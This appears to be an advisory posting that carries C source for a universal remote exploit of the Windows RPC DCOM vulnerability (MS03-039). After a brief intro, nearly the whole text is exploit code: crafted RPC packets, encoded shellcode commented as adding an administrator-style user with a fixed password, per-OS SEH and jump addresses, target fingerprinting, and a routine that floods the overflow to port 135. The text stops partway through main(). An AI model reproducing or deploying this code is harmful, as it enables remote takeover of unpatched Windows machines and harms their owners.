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The following exploit code is a universal exploit code for the Windows RPC security vulnerability we reported earlier. This more advance exploit code doesn't use static addresses for jumps.
Further information:
"1. Universal exploit for MS03-039 exists in-the-wild, PINK FLOYD is again actual.
2. It was reported by exploit author (and confirmed), Windows XP SP1 with all security fixes installed still vulnerable to variant of the same bug. Windows 2000/2003 was not tested. For a while only DoS exploit exists, but code execution is probably possible. Technical details are sent to Microsoft, waiting for confirmation." |
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Credit:
The information has been provided by karlss0n and 3APA3A.
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Exploit:
/*
1) ???????????? ???: *.exe 127.0.0.1 ->????????
2) *.exe 192 168 1 1 100 - ?????????? ??????? ??????? ? ?????????, ????? ???-?? ??????...
3) ?????!!! ??? ??????? ???????? ?? bshell2, ? ???? ????? ???????? ??? ????-???, ??? ?? ????? ?????????? ???????? ??? ?????? heap ? ???????? ??? ????-????.
Modification (c) [karlss0n]
*/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
FILE *fp1;
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x46,0x00,0x43,0x00,0x24,0x00,0x46,0x00,
0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
void XOR(unsigned char *buf,int offset,int lenght,unsigned char mask)
{
for(int i=offset;i<(offset+lenght);i++)
buf[i]=buf[i]^mask;
}
DWORD GETSTRCS(char *buf)
{
DWORD cs=0;
bool cld=false;
for(unsigned int i=0;i<strlen(buf);i++)
{
for(int z=0;z<13;z++)
{
if(cs&1) cld=true;
cs=cs>>1;
if(cld) cs=cs|0x80000000;
cld=false;
}
cs+=buf[i];
}
return cs;
}
struct {
DWORD seh;
DWORD jmp;
DWORD heap;
char target[200];
} target_os[]=
{
{
0x005Bfd2c,
0x00081eeb,
0x00180000,
"WinXP"
},
{
0x0095fd3c,
0x00081eeb,
0x00170000,
"Win2K"
}
},v;
unsigned char rawData1[]=
"\x6C\x00\x6F\x00\x63\x00\x61\x00\x6C\x00\x68\x00"
"\x6F\x00\x73\x00\x74\x00\x5C\x00\x43\x00\x24\x00\x5C\x00"
"\x58\x00\xeb\x3c\x46\x00\x46\x00\xeb\x7c\x46\x00\x46\x00\x38\x6e"
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xeb\x1e\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xeb\x06\xf1\xe1\xf2\xe1\xea\xd2"
//SHELLCODE From SAM ,THANKs !
//Add user SST,password is 557,
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\xDA\x98\x99\x99\xCC\x12\x75\x18\x75\x19\x99\x99\x99\x12\x6D"
"\x71\x92\x98\x99\x99\x10\x9F\x66\xAF\xF1\x01\x67\x13\x97\x71\x3C"
"\x99\x99\x99\x10\xDF\x95\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x0F\x99"
"\x99\x99\x10\xDF\x89\xFD\x38\x81\x99\x99\x99\x12\xD9\xA9\x14\xD9"
"\x81\x22\x99\x99\x8E\x99\x10\x81\xAA\x59\xC9\xF3\xFD\xF1\xB9\xB6"
"\xF8\xFD\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED"
"\xB9\x12\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xB9\xAC\xAC\xAE"
"\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED\xB9\x12"
"\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xFD\xFD\x99\x99\xF1\xED"
"\xB9\xB6\xF8\xF1\xEA\xB9\xEA\xEA\xF1\xF8\xED\xF6\xEB\xF1\xF0\xEA"
"\xED\xEB\xF1\xFD\xF4\xF0\xF7\xF1\xEC\xE9\xB9\xF8\xF1\xF5\xFE\xEB"
"\xF6\xF1\xF5\xF6\xFA\xF8\xF1\xF7\xFC\xED\xB9\x12\x55\xC9\xC8\x66"
"\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"
"\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"
"\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"
"\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99"
"\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"
"\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\x21\x67\x66\x66"
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a"
"\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90\x90" //
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x77\xe0\x43\x00\x00\x10\x5c\x00"
"\xeb\x1e\x01\x00"// FOR CN SP3/SP4+-MS03-26
"\x4C\x14\xec\x77"// TOP SEH FOR cn w2k+SP4,must modify to SEH of your target's os
//FILL BYTE,so sizeof(UNC)>0X400(0X80*8),why? You can read more form my artic
//"Utilization of released heap structure and exploit of universal Heap overflow in windows ".
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x90\x02\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\xC7\x5F\x9D\xBD\xDD\x14\xDD\xBD\xDD\xC9\x14\xDD\xBD\x9D\xC9\x14"
"\x1D\xBD\x1D\x99\x99\x99\xC9\x14\x1D\xBD\x0D\x99\x99\x99\xC9\xAA"
"\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\x2D\x99\x99\x99\xC9\x66\xCF"
"\x95\x14\xD5\xBD\xDD\x14\x8D\xBD\xAA\x59\xC9\xF1\xAC\x99\xAE\x99"
"\xF1\xB9\x99\xAC\x99\xF1\xEA\x99\xED\x99\xF1\xB9\x99\xEA\x99\xF1"
"\xFC\x99\xEB\x99\xF1\xEC\x99\xEA\x99\xF1\xED\x99\xB9\x99\xF1\xF7"
"\x99\xFC\x99\x12\x45\xC8\xCB\xC8\xCB\x14\x1D\xBD\x29\x99\x99\x99"
"\xC9\x14\x1D\xBD\x59\x99\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA"
"\x14\x1D\xBD\x79\x99\x99\x99\xC9\x66\xCF\x95\xC3\xC0\xAA\x59\xC9"
"\xF1\xFD\x99\xFD\x99\xF1\xB6\x99\xF8\x99\xF1\xED\x99\xB9\x99\xF1"
"\xEA\x99\xEA\x99\xF1\xEA\x99\xB9\x99\xF1\xF6\x99\xEB\x99\xF1\xF8"
"\x99\xED\x99\xF1\xED\x99\xEB\x99\xF1\xF0\x99\xEA\x99\xF1\xF0\x99"
"\xF7\x99\xF1\xFD\x99\xF4\x99\xF1\xB9\x99\xF8\x99\xF1\xEC\x99\xE9"
"\x99\xF1\xEB\x99\xF6\x99\xF1\xF5\x99\xFE\x99\xF1\xFA\x99\xF8\x99"
"\xF1\xF5\x99\xF6\x99\xF1\xED\x99\xB9\x99\xF1\xF7\x99\xFC\x99\x12"
"\x45\xC8\xCB\x14\x1D\xBD\x61\x99\x99\x99\xC9\x14\x1D\xBD\x91\x98"
"\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\xB1\x98\x99"
"\x99\xC9\x66\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12"
"\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12"
"\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA"
"\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD"
"\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A"
"\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2"
"\x5B\x9D\x99\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12"
"\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31"
"\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\xEC\x64\x66\x66"
"\x04\x04\x00\x70\x00\x04\x40"
"\x00\x10\x5c\x00\x78\x01\x07\x00\x78\x01\x07\x00\xa0\x04\x00"
"\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71";
int version(char ip[16], int sock)
{
//un poco de ettercap...
unsigned char peer0_0[] = {
0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00,
0xcc, 0x00, 0x00, 0x00, 0x84, 0x67, 0xbe, 0x18,
0x31, 0x14, 0x5c, 0x16, 0x00, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00,
0xb8, 0x4a, 0x9f, 0x4d, 0x1c, 0x7d, 0xcf, 0x11,
0x86, 0x1e, 0x00, 0x20, 0xaf, 0x6e, 0x7c, 0x57,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
0x02, 0x00, 0x01, 0x00, 0xa0, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00,
0x0a, 0x42, 0x24, 0x0a, 0x00, 0x17, 0x21, 0x41,
0x2e, 0x48, 0x01, 0x1d, 0x13, 0x0b, 0x04, 0x4d,
0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
0x04, 0x00, 0x01, 0x00, 0xb0, 0x01, 0x52, 0x97,
0xca, 0x59, 0xcf, 0x11, 0xa8, 0xd5, 0x00, 0xa0,
0xc9, 0x0d, 0x80, 0x51, 0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00 };
unsigned char peer0_1[] = {
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00,
0xaa, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x05, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x28, 0x63, 0x29, 0x20,
0x75, 0x65, 0x72, 0x84, 0x20, 0x73, 0x73, 0x53,
0x20, 0x82, 0x80, 0x67, 0x00, 0x00, 0x00, 0x00,
0x80, 0x1d, 0x94, 0x5e, 0x96, 0xbf, 0xcd, 0x11,
0xb5, 0x79, 0x08, 0x00, 0x2b, 0x30, 0xbf, 0xeb,
0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x5c, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x00, 0x00,
0x41, 0x00, 0x41, 0x00, 0x5c, 0x00, 0x43, 0x00,
0x24, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x2e, 0x00,
0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00,
0x58, 0x73, 0x0b, 0x00, 0x01, 0x00, 0x00, 0x00,
0x31, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x07, 0x00 };
/*
unsigned char win2kvuln[] = {
0x04, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x04, 0x5d, 0x88, 0x8a,
0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00,
0x2b, 0x10, 0x48, 0x60,
0x02, 0x00, 0x00, 0x00};
*/
fd_set fds2;
unsigned char buf[1024];
int l;
struct timeval tv2;
FD_ZERO(&fds2);
FD_SET(sock, &fds2);
tv2.tv_sec = 6;
tv2.tv_usec = 0;
memset(buf,'\0',sizeof(buf));
send(sock,(char *)peer0_0,sizeof(peer0_0),0);
if(select(sock +1, &fds2, NULL, NULL, &tv2) > 0)
{
l=recv (sock, (char *)buf, sizeof (buf),0);
// for(i=0;i<52;i++)
// {
// if (i==28) i=i+4;
// if (buf[i+32]!=win2kvuln)
// {
send(sock,(const char *)peer0_1,sizeof(peer0_1),0);
if(select(sock +1, &fds2, NULL, NULL, &tv2) > 0)
{
memset(buf,'\0',sizeof(buf));
l=recv (sock, (char *)buf, sizeof (buf),0);
if (l==32)
{
closesocket(sock);
return(1);//winxp
}
else
{
#ifdef WIN32
closesocket(sock);
#else
close(sock);
#endif
return(0);//win2kby default. Nt4 not added..
}
}
else return(-1);
// }
//}
// closesocket(sock);
// return(0);//win2k
}
closesocket(sock);
return(-1); //Unknown
}
/********************************************************************************/
int attack(char *ip1,bool atack)
{
unsigned char rawData[1036];
memcpy(rawData,rawData1,1036);
unsigned char shellcode[50000];
char ip[200];
strcpy(ip,ip1);
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[50000];
unsigned char buf2[50000];
printf("%s\n",ip);
//printf("RPC DCOM overflow Vulnerability discoveried by NSFOCUS\n");
//printf("Code by FlashSky,Flashsky xfocus org\n");
//printf("Welcome to our Site: http://www.xfocus.org\n");
//printf("Welcome to our Site: http://www.venustech.com.cn\n");
/* if(argc!=3)
{
printf("%s targetIP targetOS\ntargets:\n",argv[0]);
for(int i=0;i<sizeof(target_os)/sizeof(v);i++)
printf("%d - %s\n",i,target_os.target);
printf("\n%x\n",GETSTRCS(argv[1]));
return;
}
*/
/* if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}
*/
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(ip);
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return 0;
}
len1=sizeof(request1);
len=sizeof(rawData);
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("%s - connect failed\n",ip);
return 0;
}
int vers=!version(ip,sock);
// printf("%d\n",vers);
// return;
// int vers=1;
FILE *fp;
//?????? ?????
// fp=fopen("shellcode","rb");
// fread(rawData,1,1036,fp);
// fclose(fp);
//?????? ????? ???????? ??????????????? ??????????? ???????!
fp=fopen("bshell2","rb");
int sz=fread(shellcode,1,1024,fp);
fclose(fp);
// printf("%d\n",sz);
for(int i=0;i<sz;i++)
rawData[i+0x71]=shellcode[i];
// fp=fopen("badfile.exe","rb");
// unsigned int sz1=fread(shellcode,1,50000,fp);
// fclose(fp);
// for(i=0;i<sz1;i++)
// rawData[i+0x240]=shellcode;
// fp=fopen("pac","wb");
// fwrite(rawData,1,1036,fp);
// fclose(fp);
// return;
//????? ??? ??? ??????? ??????? ????? ?????????? HEAP'a
// DWORD heap=0x00180000;
// int k=vers;
// vers=1;
// *(DWORD *)(rawData+0xae)=target_os[vers].heap;
*(DWORD *)(rawData+0x71+0x1e)=target_os[vers].heap;
//?????? ????? ?????????? ??? ???, ??? ???? ????? ???????? ?????? ??? ?????, ??? ????? ?????? ? ???????? ????????, ??????? ?????????? ????, ? ???????? ??????
XOR(rawData,0x71,sz,0x99);
// XOR(rawData,0x240,sz1,0x99);
//??? ?? ??? ????? ???????? ?????? ??? SEH ? JMP
DWORD seh=target_os[vers].seh;
DWORD jmp=target_os[vers].jmp;
*(DWORD *)(rawData+0x22a)=jmp;
*(DWORD *)(rawData+0x22e)=seh;
// *(WORD *)(rawData+0x62)=sz+sz1+(0x240-(0x71+sz));
*(WORD *)(rawData+0x62)=sz;
memcpy(buf2,request1,sizeof(request1));
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(rawData)/2;
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(rawData)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,rawData,sizeof(rawData));
len1=len1+sizeof(rawData);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc;
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+len-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+len-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+len-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+len-0xc;
closesocket(sock);
if(atack)
{
sock=socket(2,1,0);
WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL);
if (send(sock,(const char *)bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("%s - send failed %d\n",ip,WSAGetLastError());
return 0;
}
else {printf("%s - send exploit to %s\n",ip,target_os[vers].target);}
len=recv(sock,(char *)buf1,1000,NULL);
bool ft=1;
if(ft)
{
int i=0;
while(1)
{
if (send(sock,(const char *)buf2,len1,0)==SOCKET_ERROR)
{
printf("\nSend failed.Error:%d\n",WSAGetLastError());
return 0;
}
else
{
printf("\r%d",++i);
}
//Sleep(1000);
}
}
send(sock,(const char *)buf2,len1,0);
closesocket(sock);
}
else fprintf(fp1,"%s %s\n",target_os[vers].target,ip);
// fp=fopen("pac","wb");
// fwrite(rawData,1,1036,fp);
// fclose(fp);
}
unsigned long thread_count=0;
char adr[200];
DWORD WINAPI ThreadProc(
LPVOID lpParameter // thread data
)
{
thread_count++;
attack(adr,0);
thread_count--;
return 0;
}
int main(int argc,char ** argv)
{
//printf("%x %x",OF_READWRITE,GETSTRCS(argv[1]));
//return;
